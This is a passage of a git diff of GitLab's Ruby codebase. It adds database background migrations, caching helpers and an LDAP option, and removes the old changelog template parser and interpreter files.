index 441f0d14b39..7bfe776fed0 100644
--- a/lib/gitlab/auth/ldap/config.rb
+++ b/lib/gitlab/auth/ldap/config.rb
@@ -163,6 +163,10 @@ module Gitlab
options['timeout'].to_i
end
+ def retry_empty_result_with_codes
+ options.fetch('retry_empty_result_with_codes', [])
+ end
+
def external_groups
options['external_groups'] || []
end
diff --git a/lib/gitlab/auth/u2f_webauthn_converter.rb b/lib/gitlab/auth/u2f_webauthn_converter.rb
index f85b2248aeb..20b5d2ddc88 100644
--- a/lib/gitlab/auth/u2f_webauthn_converter.rb
+++ b/lib/gitlab/auth/u2f_webauthn_converter.rb
@@ -1,5 +1,7 @@
# frozen_string_literal: true
+require 'webauthn/u2f_migrator'
+
module Gitlab
module Auth
class U2fWebauthnConverter
diff --git a/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests.rb b/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests.rb
new file mode 100644
index 00000000000..a0d0791b6af
--- /dev/null
+++ b/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Backfill draft column on open merge requests based on regex parsing of
+ # their titles.
+ #
+ class BackfillDraftStatusOnMergeRequests
+ # Migration only version of MergeRequest table
+ class MergeRequest < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'merge_requests'
+
+ def self.eligible
+ where(state_id: 1)
+ .where(draft: false)
+ .where("title ~* ?", '^\\[draft\\]|\\(draft\\)|draft:|draft|\\[WIP\\]|WIP:|WIP')
+ end
+ end
+
+ def perform(start_id, end_id)
+ eligible_mrs = MergeRequest.eligible.where(id: start_id..end_id).pluck(:id)
+
+ return if eligible_mrs.empty?
+
+ eligible_mrs.each_slice(10) do |slice|
+ MergeRequest.where(id: slice).update_all(draft: true)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/backfill_upvotes_count_on_issues.rb b/lib/gitlab/background_migration/backfill_upvotes_count_on_issues.rb
new file mode 100644
index 00000000000..170af90805a
--- /dev/null
+++ b/lib/gitlab/background_migration/backfill_upvotes_count_on_issues.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Class that will populate the upvotes_count field
+ # for each issue
+ class BackfillUpvotesCountOnIssues
+ BATCH_SIZE = 1_000
+
+ def perform(start_id, stop_id)
+ (start_id..stop_id).step(BATCH_SIZE).each do |offset|
+ update_issue_upvotes_count(offset, offset + BATCH_SIZE)
+ end
+ end
+
+ private
+
+ def execute(sql)
+ @connection ||= ::ActiveRecord::Base.connection
+ @connection.execute(sql)
+ end
+
+ def update_issue_upvotes_count(batch_start, batch_stop)
+ execute(<<~SQL)
+ UPDATE issues
+ SET upvotes_count = sub_q.count_all
+ FROM (
+ SELECT COUNT(*) AS count_all, e.awardable_id AS issue_id
+ FROM award_emoji AS e
+ WHERE e.name = 'thumbsup' AND
+ e.awardable_type = 'Issue' AND
+ e.awardable_id BETWEEN #{batch_start} AND #{batch_stop}
+ GROUP BY issue_id
+ ) AS sub_q
+ WHERE sub_q.issue_id = issues.id;
+ SQL
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/delete_orphaned_deployments.rb b/lib/gitlab/background_migration/delete_orphaned_deployments.rb
new file mode 100644
index 00000000000..9ac4111ff0f
--- /dev/null
+++ b/lib/gitlab/background_migration/delete_orphaned_deployments.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Background migration for deleting orphaned deployments.
+ class DeleteOrphanedDeployments
+ include Database::MigrationHelpers
+
+ def perform(start_id, end_id)
+ orphaned_deployments
+ .where(id: start_id..end_id)
+ .delete_all
+
+ mark_job_as_succeeded(start_id, end_id)
+ end
+
+ def orphaned_deployments
+ define_batchable_model('deployments')
+ .where('NOT EXISTS (SELECT 1 FROM environments WHERE deployments.environment_id = environments.id)')
+ end
+
+ private
+
+ def mark_job_as_succeeded(*arguments)
+ Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded(
+ self.class.name.demodulize,
+ arguments
+ )
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users.rb b/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users.rb
new file mode 100644
index 00000000000..e694e5359cd
--- /dev/null
+++ b/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users.rb
@@ -0,0 +1,287 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Migrates author and committer names and emails from
+ # merge_request_diff_commits to two columns that point to
+ # merge_request_diff_commit_users.
+ #
+ # rubocop: disable Metrics/ClassLength
+ class MigrateMergeRequestDiffCommitUsers
+ # The number of user rows in merge_request_diff_commit_users to get in a
+ # single query.
+ USER_ROWS_PER_QUERY = 1_000
+
+ # The number of rows in merge_request_diff_commits to get in a single
+ # query.
+ COMMIT_ROWS_PER_QUERY = 10_000
+
+ # The number of rows in merge_request_diff_commits to update in a single
+ # query.
+ #
+ # Tests in staging revealed that increasing the number of updates per
+ # query translates to a longer total runtime for a migration. For example,
+ # given the same range of rows to migrate, 1000 updates per query required
+ # a total of roughly 15 seconds. On the other hand, 5000 updates per query
+ # required a total of roughly 25 seconds. For this reason, we use a value
+ # of 1000 rows per update.
+ UPDATES_PER_QUERY = 1_000
+
+ # rubocop: disable Style/Documentation
+ class MergeRequestDiffCommit < ActiveRecord::Base
+ include FromUnion
+ extend ::SuppressCompositePrimaryKeyWarning
+
+ self.table_name = 'merge_request_diff_commits'
+
+ # Yields each row to migrate in the given range.
+ #
+ # This method uses keyset pagination to ensure we don't retrieve
+ # potentially tens of thousands (or even hundreds of thousands) of rows
+ # in a single query. Such queries could time out, or increase the amount
+ # of memory needed to process the data.
+ #
+ # We can't use `EachBatch` and similar approaches, as
+ # merge_request_diff_commits doesn't have a single monotonically
+ # increasing primary key.
+ def self.each_row_to_migrate(start_id, stop_id, &block)
+ order = Pagination::Keyset::Order.build(
+ %w[merge_request_diff_id relative_order].map do |col|
+ Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: col,
+ order_expression: self.arel_table[col.to_sym].asc,
+ nullable: :not_nullable,
+ distinct: false
+ )
+ end
+ )
+
+ scope = MergeRequestDiffCommit
+ .where(merge_request_diff_id: start_id...stop_id)
+ .order(order)
+
+ Pagination::Keyset::Iterator
+ .new(scope: scope, use_union_optimization: true)
+ .each_batch(of: COMMIT_ROWS_PER_QUERY) { |rows| rows.each(&block) }
+ end
+ end
+ # rubocop: enable Style/Documentation
+
+ # rubocop: disable Style/Documentation
+ class MergeRequestDiffCommitUser < ActiveRecord::Base
+ self.table_name = 'merge_request_diff_commit_users'
+
+ def self.union(queries)
+ from("(#{queries.join("\nUNION ALL\n")}) #{table_name}")
+ end
+ end
+ # rubocop: enable Style/Documentation
+
+ def perform(start_id, stop_id)
+ # This Hash maps user names + emails to their corresponding rows in
+ # merge_request_diff_commit_users.
+ user_mapping = {}
+
+ user_details, diff_rows_to_update = get_data_to_update(start_id, stop_id)
+
+ get_user_rows_in_batches(user_details, user_mapping)
+ create_missing_users(user_details, user_mapping)
+ update_commit_rows(diff_rows_to_update, user_mapping)
+
+ Database::BackgroundMigrationJob.mark_all_as_succeeded(
+ 'MigrateMergeRequestDiffCommitUsers',
+ [start_id, stop_id]
+ )
+ end
+
+ # Returns the data we'll use to determine what merge_request_diff_commits
+ # rows to update, and what data to use for populating their
+ # commit_author_id and committer_id columns.
+ def get_data_to_update(start_id, stop_id)
+ # This Set is used to retrieve users that already exist in
+ # merge_request_diff_commit_users.
+ users = Set.new
+
+ # This Hash maps the primary key of every row in
+ # merge_request_diff_commits to the (trimmed) author and committer
+ # details to use for updating the row.
+ to_update = {}
+
+ MergeRequestDiffCommit.each_row_to_migrate(start_id, stop_id) do |row|
+ author = [prepare(row.author_name), prepare(row.author_email)]
+ committer = [prepare(row.committer_name), prepare(row.committer_email)]
+
+ to_update[[row.merge_request_diff_id, row.relative_order]] =
+ [author, committer]
+
+ users << author if author[0] || author[1]
+ users << committer if committer[0] || committer[1]
+ end
+
+ [users, to_update]
+ end
+
+ # Gets any existing rows in merge_request_diff_commit_users in batches.
+ #
+ # This method may end up having to retrieve lots of rows. To reduce the
+ # overhead, we batch queries into a UNION query. We limit the number of
+ # queries per UNION so we don't end up sending a single query containing
+ # too many SELECT statements.
+ def get_user_rows_in_batches(users, user_mapping)
+ users.each_slice(USER_ROWS_PER_QUERY) do |pairs|
+ queries = pairs.map do |(name, email)|
+ MergeRequestDiffCommitUser.where(name: name, email: email).to_sql
+ end
+
+ MergeRequestDiffCommitUser.union(queries).each do |row|
+ user_mapping[[row.name.to_s, row.email.to_s]] = row
+ end
+ end
+ end
+
+ # Creates any users for which no row exists in
+ # merge_request_diff_commit_users.
+ #
+ # Not all users queried may exist yet, so we need to create any missing
+ # ones; making sure we handle concurrent creations of the same user
+ def create_missing_users(users, mapping)
+ create = []
+
+ users.each do |(name, email)|
+ create << { name: name, email: email } unless mapping[[name, email]]
+ end
+
+ return if create.empty?
+
+ MergeRequestDiffCommitUser
+ .insert_all(create, returning: %w[id name email])
+ .each do |row|
+ mapping[[row['name'], row['email']]] = MergeRequestDiffCommitUser
+ .new(id: row['id'], name: row['name'], email: row['email'])
+ end
+
+ # It's possible for (name, email) pairs to be inserted concurrently,
+ # resulting in the above insert not returning anything. Here we get any
+ # remaining users that were created concurrently.
+ get_user_rows_in_batches(
+ users.reject { |pair| mapping.key?(pair) },
+ mapping
+ )
+ end
+
+ # Updates rows in merge_request_diff_commits with their new
+ # commit_author_id and committer_id values.
+ def update_commit_rows(to_update, user_mapping)
+ to_update.each_slice(UPDATES_PER_QUERY) do |slice|
+ updates = {}
+
+ slice.each do |(diff_id, order), (author, committer)|
+ author_id = user_mapping[author]&.id
+ committer_id = user_mapping[committer]&.id
+
+ updates[[diff_id, order]] = [author_id, committer_id]
+ end
+
+ bulk_update_commit_rows(updates)
+ end
+ end
+
+ # Bulk updates rows in the merge_request_diff_commits table with their new
+ # author and/or committer ID values.
+ #
+ # Updates are batched together to reduce the overhead of having to produce
+ # a single UPDATE for every row, as we may end up having to update
+ # thousands of rows at once.
+ #
+ # The query produced by this method is along the lines of the following:
+ #
+ # UPDATE merge_request_diff_commits
+ # SET commit_author_id =
+ # CASE
+ # WHEN (merge_request_diff_id, relative_order) = (x, y) THEN X
+ # WHEN ...
+ # END,
+ # committer_id =
+ # CASE
+ # WHEN (merge_request_diff_id, relative_order) = (x, y) THEN Y
+ # WHEN ...
+ # END
+ # WHERE (merge_request_diff_id, relative_order) IN ( (x, y), ... )
+ #
+ # The `mapping` argument is a Hash in the following format:
+ #
+ # { [merge_request_diff_id, relative_order] => [author_id, committer_id] }
+ #
+ # rubocop: disable Metrics/AbcSize
+ def bulk_update_commit_rows(mapping)
+ author_case = Arel::Nodes::Case.new
+ committer_case = Arel::Nodes::Case.new
+ primary_values = []
+
+ mapping.each do |diff_id_and_order, (author_id, committer_id)|
+ primary_value = Arel::Nodes::Grouping.new(diff_id_and_order)
+
+ primary_values << primary_value
+
+ if author_id
+ author_case.when(primary_key.eq(primary_value)).then(author_id)
+ end
+
+ if committer_id
+ committer_case.when(primary_key.eq(primary_value)).then(committer_id)
+ end
+ end
+
+ if author_case.conditions.empty? && committer_case.conditions.empty?
+ return
+ end
+
+ fields = []
+
+ # Statements such as `SET x = CASE END` are not valid SQL statements, so
+ # we omit setting an ID field if there are no values to populate it
+ # with.
+ if author_case.conditions.any?
+ fields << [arel_table[:commit_author_id], author_case]
+ end
+
+ if committer_case.conditions.any?
+ fields << [arel_table[:committer_id], committer_case]
+ end
+
+ query = Arel::UpdateManager.new
+ .table(arel_table)
+ .where(primary_key.in(primary_values))
+ .set(fields)
+ .to_sql
+
+ MergeRequestDiffCommit.connection.execute(query)
+ end
+ # rubocop: enable Metrics/AbcSize
+
+ def primary_key
+ Arel::Nodes::Grouping.new(
+ [arel_table[:merge_request_diff_id], arel_table[:relative_order]]
+ )
+ end
+
+ def arel_table
+ MergeRequestDiffCommit.arel_table
+ end
+
+ # Prepares a value to be inserted into a column in the table
+ # `merge_request_diff_commit_users`. Values in this table are limited to
+ # 512 characters.
+ #
+ # We treat empty strings as NULL values, as there's no point in (for
+ # example) storing a row where both the name and Email are an empty
+ # string. In addition, if we treated them differently we could end up with
+ # two rows: one where field X is NULL, and one where field X is an empty
+ # string. This is redundant, so we avoid storing such data.
+ def prepare(value)
+ value.present? ? value[0..511] : nil
+ end
+ end
+ # rubocop: enable Metrics/ClassLength
+ end
+end
diff --git a/lib/gitlab/background_migration/migrate_u2f_webauthn.rb b/lib/gitlab/background_migration/migrate_u2f_webauthn.rb
index 091e6660bac..83aa36a11e6 100644
--- a/lib/gitlab/background_migration/migrate_u2f_webauthn.rb
+++ b/lib/gitlab/background_migration/migrate_u2f_webauthn.rb
@@ -1,6 +1,5 @@
# frozen_string_literal: true
# rubocop:disable Style/Documentation
-require "webauthn/u2f_migrator"
module Gitlab
module BackgroundMigration
diff --git a/lib/gitlab/background_migration/populate_latest_pipeline_ids.rb b/lib/gitlab/background_migration/populate_latest_pipeline_ids.rb
new file mode 100644
index 00000000000..a2b25a293fe
--- /dev/null
+++ b/lib/gitlab/background_migration/populate_latest_pipeline_ids.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+# rubocop: disable Style/Documentation
+module Gitlab
+ module BackgroundMigration
+ class PopulateLatestPipelineIds
+ class ProjectSetting < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'project_settings'
+
+ scope :in_range, -> (start_id, end_id) { where(id: start_id..end_id) }
+ scope :has_vulnerabilities_without_latest_pipeline_set, -> do
+ joins('LEFT OUTER JOIN vulnerability_statistics vs ON vs.project_id = project_settings.project_id')
+ .where(vs: { latest_pipeline_id: nil })
+ .where('has_vulnerabilities IS TRUE')
+ end
+ end
+
+ def perform(start_id, end_id)
+ # no-op
+ end
+ end
+ end
+end
+
+Gitlab::BackgroundMigration::PopulateLatestPipelineIds.prepend_mod
diff --git a/lib/gitlab/background_migration/user_mentions/models/note.rb b/lib/gitlab/background_migration/user_mentions/models/note.rb
index 7da933c7b11..4026a91903f 100644
--- a/lib/gitlab/background_migration/user_mentions/models/note.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/note.rb
@@ -21,7 +21,7 @@ module Gitlab
belongs_to :project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
def for_personal_snippet?
- noteable && noteable.class.name == 'PersonalSnippet'
+ noteable && noteable.instance_of?(PersonalSnippet)
end
def for_project_noteable?
diff --git a/lib/gitlab/backup_logger.rb b/lib/gitlab/backup_logger.rb
new file mode 100644
index 00000000000..fad36b860ae
--- /dev/null
+++ b/lib/gitlab/backup_logger.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class BackupLogger < Gitlab::JsonLogger
+ def self.file_name_noext
+ 'backup_json'
+ end
+ end
+end
diff --git a/lib/gitlab/bitbucket_import/importer.rb b/lib/gitlab/bitbucket_import/importer.rb
index e59494c9d9c..f79baadb8ea 100644
--- a/lib/gitlab/bitbucket_import/importer.rb
+++ b/lib/gitlab/bitbucket_import/importer.rb
@@ -63,10 +63,7 @@ module Gitlab
return users[username] if users.key?(username)
- users[username] = User.select(:id)
- .joins(:identities)
- .find_by("identities.extern_uid = ? AND identities.provider = 'bitbucket'", username)
- .try(:id)
+ users[username] = User.by_provider_and_extern_uid(:bitbucket, username).select(:id).first&.id
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/cache/ci/project_pipeline_status.rb b/lib/gitlab/cache/ci/project_pipeline_status.rb
index 9e958eb52fb..137f76bc96d 100644
--- a/lib/gitlab/cache/ci/project_pipeline_status.rb
+++ b/lib/gitlab/cache/ci/project_pipeline_status.rb
@@ -50,8 +50,6 @@ module Gitlab
def load_status
return if loaded?
- return unless Gitlab::Ci::Features.pipeline_status_omit_commit_sha_in_cache_key?(project) || commit
-
if has_cache?
load_from_cache
else
@@ -119,11 +117,7 @@ module Gitlab
end
def cache_key
- if Gitlab::Ci::Features.pipeline_status_omit_commit_sha_in_cache_key?(project)
- "#{Gitlab::Redis::Cache::CACHE_NAMESPACE}:project:#{project.id}:pipeline_status"
- else
- "#{Gitlab::Redis::Cache::CACHE_NAMESPACE}:project:#{project.id}:pipeline_status:#{commit&.sha}"
- end
+ "#{Gitlab::Redis::Cache::CACHE_NAMESPACE}:project:#{project.id}:pipeline_status"
end
def commit
diff --git a/lib/gitlab/cache/helpers.rb b/lib/gitlab/cache/helpers.rb
new file mode 100644
index 00000000000..7b11d6bc9ff
--- /dev/null
+++ b/lib/gitlab/cache/helpers.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Cache
+ module Helpers
+ # @return [ActiveSupport::Duration]
+ DEFAULT_EXPIRY = 1.day
+
+ # @return [ActiveSupport::Cache::Store]
+ def cache
+ Rails.cache
+ end
+
+ def render_cached(obj_or_collection, with:, cache_context: -> (_) { current_user&.cache_key }, expires_in: Gitlab::Cache::Helpers::DEFAULT_EXPIRY, **presenter_args)
+ json =
+ if obj_or_collection.is_a?(Enumerable)
+ cached_collection(
+ obj_or_collection,
+ presenter: with,
+ presenter_args: presenter_args,
+ context: cache_context,
+ expires_in: expires_in
+ )
+ else
+ cached_object(
+ obj_or_collection,
+ presenter: with,
+ presenter_args: presenter_args,
+ context: cache_context,
+ expires_in: expires_in
+ )
+ end
+
+ render Gitlab::Json::PrecompiledJson.new(json)
+ end
+
+ private
+
+ # Optionally uses a `Proc` to add context to a cache key
+ #
+ # @param object [Object] must respond to #cache_key
+ # @param context [Proc] a proc that will be called with the object as an argument, and which should return a
+ # string or array of strings to be combined into the cache key
+ # @return [String]
+ def contextual_cache_key(presenter, object, context)
+ return object.cache_key if context.nil?
+
+ [presenter.class.name, object.cache_key, context.call(object)].flatten.join(":")
+ end
+
+ # Used for fetching or rendering a single object
+ #
+ # @param object [Object] the object to render
+ # @param presenter [Grape::Entity]
+ # @param presenter_args [Hash] keyword arguments to be passed to the entity
+ # @param context [Proc]
+ # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
+ # @return [String]
+ def cached_object(object, presenter:, presenter_args:, context:, expires_in:)
+ cache.fetch(contextual_cache_key(presenter, object, context), expires_in: expires_in) do
+ Gitlab::Json.dump(presenter.represent(object, **presenter_args).as_json)
+ end
+ end
+
+ # Used for fetching or rendering multiple objects
+ #
+ # @param objects [Enumerable<Object>] the objects to render
+ # @param presenter [Grape::Entity]
+ # @param presenter_args [Hash] keyword arguments to be passed to the entity
+ # @param context [Proc]
+ # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
+ # @return [Array<String>]
+ def cached_collection(collection, presenter:, presenter_args:, context:, expires_in:)
+ json = fetch_multi(presenter, collection, context: context, expires_in: expires_in) do |obj|
+ Gitlab::Json.dump(presenter.represent(obj, **presenter_args).as_json)
+ end
+
+ json.values
+ end
+
+ # An adapted version of ActiveSupport::Cache::Store#fetch_multi.
+ #
+ # The original method only provides the missing key to the block,
+ # not the missing object, so we have to create a map of cache keys
+ # to the objects to allow us to pass the object to the missing value
+ # block.
+ #
+ # The result is that this is functionally identical to `#fetch`.
+ def fetch_multi(presenter, *objs, context:, **kwargs)
+ objs.flatten!
+ map = multi_key_map(presenter, objs, context: context)
+
+ # TODO: `contextual_cache_key` should be constructed based on the guideline https://docs.gitlab.com/ee/development/redis.html#multi-key-commands.
+ Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
+ cache.fetch_multi(*map.keys, **kwargs) do |key|
+ yield map[key]
+ end
+ end
+ end
+
+ # @param objects [Enumerable<Object>] objects which _must_ respond to `#cache_key`
+ # @param context [Proc] a proc that can be called to help generate each cache key
+ # @return [Hash]
+ def multi_key_map(presenter, objects, context:)
+ objects.index_by do |object|
+ contextual_cache_key(presenter, object, context)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/cache/import/caching.rb b/lib/gitlab/cache/import/caching.rb
index 86441973941..4cbc0231bce 100644
--- a/lib/gitlab/cache/import/caching.rb
+++ b/lib/gitlab/cache/import/caching.rb
@@ -173,6 +173,34 @@ module Gitlab
val ? true : false
end
+ # Adds a value to a hash.
+ #
+ # raw_key - The key of the hash to add to.
+ # field - The field to add to the hash.
+ # value - The field value to add to the hash.
+ # timeout - The new timeout of the key.
+ def self.hash_add(raw_key, field, value, timeout: TIMEOUT)
+ key = cache_key_for(raw_key)
+
+ Redis::Cache.with do |redis|
+ redis.multi do |m|
+ m.hset(key, field, value)
+ m.expire(key, timeout)
+ end
+ end
+ end
+
+ # Returns the values of the given hash.
+ #
+ # raw_key - The key of the set to check.
+ def self.values_from_hash(raw_key)
+ key = cache_key_for(raw_key)
+
+ Redis::Cache.with do |redis|
+ redis.hgetall(key)
+ end
+ end
+
def self.cache_key_for(raw_key)
"#{Redis::Cache::CACHE_NAMESPACE}:#{raw_key}"
end
diff --git a/lib/gitlab/changelog/ast.rb b/lib/gitlab/changelog/ast.rb
deleted file mode 100644
index 2c787d396f5..00000000000
--- a/lib/gitlab/changelog/ast.rb
+++ /dev/null
@@ -1,157 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Changelog
- # AST nodes to evaluate when rendering a template.
- #
- # Evaluating an AST is done by walking over the nodes and calling
- # `evaluate`. This method takes two arguments:
- #
- # 1. An instance of `EvalState`, used for tracking data such as the number
- # of nested loops.
- # 2. An object used as the data for the current scope. This can be an Array,
- # Hash, String, or something else. It's up to the AST node to determine
- # what to do with it.
- #
- # While tree walking interpreters (such as implemented here) aren't usually
- # the fastest type of interpreter, they are:
- #
- # 1. Fast enough for our use case
- # 2. Easy to implement and maintain
- #
- # In addition, our AST interpreter doesn't allow for arbitrary code
- # execution, unlike existing template engines such as Mustache
- # (https://github.com/mustache/mustache/issues/244) or ERB.
- #
- # Our interpreter also takes care of limiting the number of nested loops.
- # And unlike Liquid, our interpreter is much smaller and thus has a smaller
- # attack surface. Liquid isn't without its share of issues, such as
- # https://github.com/Shopify/liquid/pull/1071.
- #
- # We also evaluated using Handlebars using the project
- # https://github.com/SmartBear/ruby-handlebars. Sadly, this implementation
- # of Handlebars doesn't support control of whitespace
- # (https://github.com/SmartBear/ruby-handlebars/issues/37), and the project
- # didn't appear to be maintained that much.
- #
- # This doesn't mean these template engines aren't good, instead it means
- # they won't work for our use case. For more information, refer to the
- # comment https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50063#note_469293322.
- module AST
- # An identifier in a selector.
- Identifier = Struct.new(:name) do
- def evaluate(state, data)
- return data if name == 'it'
-
- data[name] if data.is_a?(Hash)
- end
- end
-
- # An integer used in a selector.
- Integer = Struct.new(:value) do
- def evaluate(state, data)
- data[value] if data.is_a?(Array)
- end
- end
-
- # A selector used for loading a value.
- Selector = Struct.new(:steps) do
- def evaluate(state, data)
- steps.reduce(data) do |current, step|
- break if current.nil?
-
- step.evaluate(state, current)
- end
- end
- end
-
- # A tag used for displaying a value in the output.
- Variable = Struct.new(:selector) do
- def evaluate(state, data)
- selector.evaluate(state, data).to_s
- end
- end
-
- # A collection of zero or more expressions.
- Expressions = Struct.new(:nodes) do
- def evaluate(state, data)
- nodes.map { |node| node.evaluate(state, data) }.join('')
- end
- end
-
- # A single text node.
- Text = Struct.new(:text) do
- def evaluate(*)
- text
- end
- end
-
- # An `if` expression, with an optional `else` clause.
- If = Struct.new(:condition, :true_body, :false_body) do
- def evaluate(state, data)
- result =
- if truthy?(condition.evaluate(state, data))
- true_body.evaluate(state, data)
- elsif false_body
- false_body.evaluate(state, data)
- end
-
- result.to_s
- end
-
- def truthy?(value)
- # We treat empty collections and such as false, removing the need for
- # some sort of `if length(x) > 0` expression.
- value.respond_to?(:empty?) ? !value.empty? : !!value
- end
- end
-
- # An `each` expression.
- Each = Struct.new(:collection, :body) do
- def evaluate(state, data)
- values = collection.evaluate(state, data)
-
- return '' unless values.respond_to?(:each)
-
- # While unlikely to happen, it's possible users attempt to nest many
- # loops in order to negatively impact the GitLab instance. To make
- # this more difficult, we limit the number of nested loops a user can
- # create.
- state.enter_loop do
- values.map { |value| body.evaluate(state, value) }.join('')
- end
- end
- end
-
- # A class for transforming a raw Parslet AST into a more structured/easier
- # to work with AST.
- #
- # For more information about Parslet transformations, refer to the
- # documentation at http://kschiess.github.io/parslet/transform.html.
- class Transformer < Parslet::Transform
- rule(ident: simple(:name)) { Identifier.new(name.to_s) }
- rule(int: simple(:name)) { Integer.new(name.to_i) }
- rule(text: simple(:text)) { Text.new(text.to_s) }
- rule(exprs: subtree(:nodes)) { Expressions.new(nodes) }
- rule(selector: sequence(:steps)) { Selector.new(steps) }
- rule(selector: simple(:step)) { Selector.new([step]) }
- rule(variable: simple(:selector)) { Variable.new(selector) }
- rule(each: simple(:values), body: simple(:body)) do
- Each.new(values, body)
- end
-
- rule(if: simple(:cond), true_body: simple(:true_body)) do
- If.new(cond, true_body)
- end
-
- rule(
- if: simple(:cond),
- true_body: simple(:true_body),
- false_body: simple(:false_body)
- ) do
- If.new(cond, true_body, false_body)
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/changelog/config.rb b/lib/gitlab/changelog/config.rb
index be8009750da..0538fe68474 100644
--- a/lib/gitlab/changelog/config.rb
+++ b/lib/gitlab/changelog/config.rb
@@ -52,7 +52,12 @@ module Gitlab
end
if (template = hash['template'])
- config.template = Parser.new.parse_and_transform(template)
+ config.template =
+ begin
+ TemplateParser::Parser.new.parse_and_transform(template)
+ rescue TemplateParser::Error => e
+ raise Error, e.message
+ end
end
if (categories = hash['categories'])
@@ -73,7 +78,12 @@ module Gitlab
def initialize(project)
@project = project
@date_format = DEFAULT_DATE_FORMAT
- @template = Parser.new.parse_and_transform(DEFAULT_TEMPLATE)
+ @template =
+ begin
+ TemplateParser::Parser.new.parse_and_transform(DEFAULT_TEMPLATE)
+ rescue TemplateParser::Error => e
+ raise Error, e.message
+ end
@categories = {}
@tag_regex = DEFAULT_TAG_REGEX
end
diff --git a/lib/gitlab/changelog/eval_state.rb b/lib/gitlab/changelog/eval_state.rb
deleted file mode 100644
index a0439df60cf..00000000000
--- a/lib/gitlab/changelog/eval_state.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Changelog
- # A class for tracking state when evaluating a template
- class EvalState
- MAX_LOOPS = 4
-
- def initialize
- @loops = 0
- end
-
- def enter_loop
- if @loops == MAX_LOOPS
- raise Error, "You can only nest up to #{MAX_LOOPS} loops"
- end
-
- @loops += 1
- retval = yield
- @loops -= 1
-
- retval
- end
- end
- end
-end
diff --git a/lib/gitlab/changelog/parser.rb b/lib/gitlab/changelog/parser.rb
deleted file mode 100644
index fac6fc19148..00000000000
--- a/lib/gitlab/changelog/parser.rb
+++ /dev/null
@@ -1,176 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Changelog
- # A parser for the template syntax used for generating changelogs.
- #
- # As a quick primer on the template syntax, a basic template looks like
- # this:
- #
- # {% each users %}
- # Name: {{name}}
- # Age: {{age}}
- #
- # {% if birthday %}
- # This user is celebrating their birthday today! Yay!
- # {% end %}
- # {% end %}
- #
- # For more information, refer to the Parslet documentation found at
- # http://kschiess.github.io/parslet/.
- class Parser < Parslet::Parser
- root(:exprs)
-
- rule(:exprs) do
- (
- variable | if_expr | each_expr | escaped | text | newline
- ).repeat.as(:exprs)
- end
-
- rule(:space) { match('[ \\t]') }
- rule(:whitespace) { match('\s').repeat }
- rule(:lf) { str("\n") }
- rule(:newline) { lf.as(:text) }
-
- # Escaped newlines are ignored, allowing the user to control the
- # whitespace in the output. All other escape sequences are treated as
- # literal text.
- #
- # For example, this:
- #
- # foo \
- # bar
- #
- # Is parsed into this:
- #
- # foo bar
- rule(:escaped) do
- backslash = str('\\')
-
- (backslash >> lf).ignore | (backslash >> chars).as(:text)
- end
-
- # A sequence of regular characters, with the exception of newlines and
- # escaped newlines.
- rule(:chars) do
- char = match("[^{\\\\\n]")
-
- # The rules here are such that we do treat single curly braces or
- # non-opening tags (e.g. `{foo}`) as text, but not opening tags
- # themselves (e.g. `{{`).
- (
- char.repeat(1) | curly_open >> (curly_open | percent).absent?
- ).repeat(1)
- end
-
- rule(:text) { chars.as(:text) }
-
- # An integer, limited to 10 digits (= a 32 bits integer).
- #
- # The size is limited to prevents users from creating integers that are
- # too large, as this may result in runtime errors.
- rule(:integer) { match('\d').repeat(1, 10).as(:int) }
-
- # An identifier to look up in a data structure.
- #
- # We only support simple ASCII identifiers as we simply don't have a need
- # for more complex identifiers (e.g. those containing multibyte
- # characters).
- rule(:ident) { match('[a-zA-Z_]').repeat(1).as(:ident) }
-
- # A selector is used for reading a value, consisting of one or more
- # "steps".
- #
- # Examples:
- #
- # name
- # users.0.name
- # 0
- # it
- rule(:selector) do
- step = ident | integer
-
- whitespace >>
- (step >> (str('.') >> step).repeat).as(:selector) >>
- whitespace
- end
-
- rule(:curly_open) { str('{') }
- rule(:curly_close) { str('}') }
- rule(:percent) { str('%') }
-
- # A variable tag.
- #
- # Examples:
- #
- # {{name}}
- # {{users.0.name}}
- rule(:variable) do
- curly_open.repeat(2) >> selector.as(:variable) >> curly_close.repeat(2)
- end
-
- rule(:expr_open) { curly_open >> percent >> whitespace }
- rule(:expr_close) do
- # Since whitespace control is important (as Markdown is whitespace
- # sensitive), we default to stripping a newline that follows a %} tag.
- # This is less annoying compared to having to opt-in to this behaviour.
- whitespace >> percent >> curly_close >> lf.maybe.ignore
- end
-
